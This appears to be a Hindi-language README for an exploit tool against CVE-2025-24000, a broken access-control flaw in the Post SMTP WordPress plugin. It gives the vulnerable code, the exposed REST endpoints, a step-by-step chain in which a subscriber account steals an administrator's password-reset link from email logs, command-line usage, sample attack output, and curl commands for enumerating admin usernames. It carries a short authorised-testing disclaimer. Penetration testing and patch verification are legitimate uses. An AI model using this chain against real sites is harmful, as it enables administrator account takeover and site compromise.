CVE-2025-24000 — पोस्ट SMTP विशेषाधिकार वृद्धि शोषण

अवलोकन

यह स्क्रिप्ट CVE-2025-24000 का शोषण करती है, जो पोस्ट SMTP वर्डप्रेस प्लगइन (संस्करण ≤ 3.2.0) में एक उच्च-गंभीरता वाली टूटी हुई पहुँच नियंत्रण भेद्यता है। यह किसी भी प्रमाणित उपयोगकर्ता को निम्न-विशेषाधिकार खाते (जैसे सब्सक्राइबर) के साथ प्लगइन के REST API ईमेल लॉग तक पहुँचने, एक व्यवस्थापक पासवर्ड रीसेट लिंक चुराने और व्यवस्थापक खाते पर नियंत्रण लेने की अनुमति देता है।

• CVE: CVE-2025-24000
• प्लगइन: पोस्ट SMTP (WPExperts)
• प्रभावित संस्करण: ≤ 3.2.0
• में ठीक किया गया: 3.3.0
• CVSS स्कोर: 8.8 (उच्च)
• प्रभाव: विशेषाधिकार वृद्धि → पूर्ण व्यवस्थापक खाता अधिग्रहण

---

यह कैसे काम करता है

भेद्यता प्लगइन के REST API में एक दोषपूर्ण अनुमति जांच से उत्पन्न होती है:

// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

कोई भी लॉग-इन उपयोगकर्ता, भूमिका की परवाह किए बिना, केवल व्यवस्थापकों के लिए इच्छित एंडपॉइंट तक पहुँच सकता है:

• GET /wp-json/psd/v1/get-logs
• GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
• POST /wp-json/psd/v1/resend-email

शोषण श्रृंखला

1. एक निम्न-विशेषाधिकार वर्डप्रेस खाता (सब्सक्राइबर) पंजीकृत करें या मौजूदा का उपयोग करें
2. लॉग इन करें और /wp-admin/ से WP REST nonce प्राप्त करें
3. व्यवस्थापक खाते के लिए पासवर्ड रीसेट ट्रिगर करें
4. असुरक्षित REST API के माध्यम से ईमेल लॉग पढ़ें
5. लॉग से पासवर्ड रीसेट लिंक निकालें
6. नया व्यवस्थापक पासवर्ड सेट करने के लिए रीसेट लिंक का उपयोग करें
7. व्यवस्थापक के रूप में /wp-admin में लॉग इन करें

---

आवश्यकताएँ

• Python 3.x
• requests लाइब्रेरी (pip install requests)
• लक्ष्य वर्डप्रेस साइट पर एक पंजीकृत खाता (सब्सक्राइबर स्तर पर्याप्त है)

---

उपयोग

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <your_subscriber_username> \
  --password <your_subscriber_password> \
  --email <admin_username_or_email>

तर्क

तर्क	विवरण
--url	वर्डप्रेस साइट का आधार URL (जैसे http://target.local/wordpress/)
--username	आपका निम्न-विशेषाधिकार वर्डप्रेस उपयोगकर्ता नाम
--password	आपका निम्न-विशेषाधिकार वर्डप्रेस पासवर्ड
--email	रीसेट करने के लिए व्यवस्थापक उपयोगकर्ता नाम या ईमेल

उदाहरण

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

अपेक्षित आउटपुट

[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...

[+] RESET LINK FOUND:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] Visit the link above to set a new admin password and take over the site.

---

टिप्स

• यदि व्यवस्थापक उपयोगकर्ता नाम अज्ञात है, तो WP REST API के माध्यम से इसकी गणना करें:

  curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
  

  या लेखक गणना के माध्यम से:

  curl -s 'http://target.local/?author=1' -I | grep -i location
  

• रीसेट लिंक एकल-उपयोग है और समाप्त हो जाता है — इसे निकालने के तुरंत बाद उपयोग करें
• यदि लॉग खाली हैं, तो सुनिश्चित करें कि साइट पोस्ट SMTP के माध्यम से मेल भेजने के लिए कॉन्फ़िगर की गई है (PHP मेल नहीं)

---

संदर्भ

• पैचस्टैक सलाह: https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
• गिटहब सलाह: https://github.com/advisories/GHSA-2fgh-78wf-f9v9
• पुनरुत्पादन वॉकथ्रू: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24000

---

अस्वीकरण

यह उपकरण केवल अधिकृत पैठ परीक्षण और शैक्षिक उद्देश्यों के लिए है। उन सिस्टमों के विरुद्ध उपयोग न करें जिनका परीक्षण करने की आपके पास स्पष्ट अनुमति नहीं है।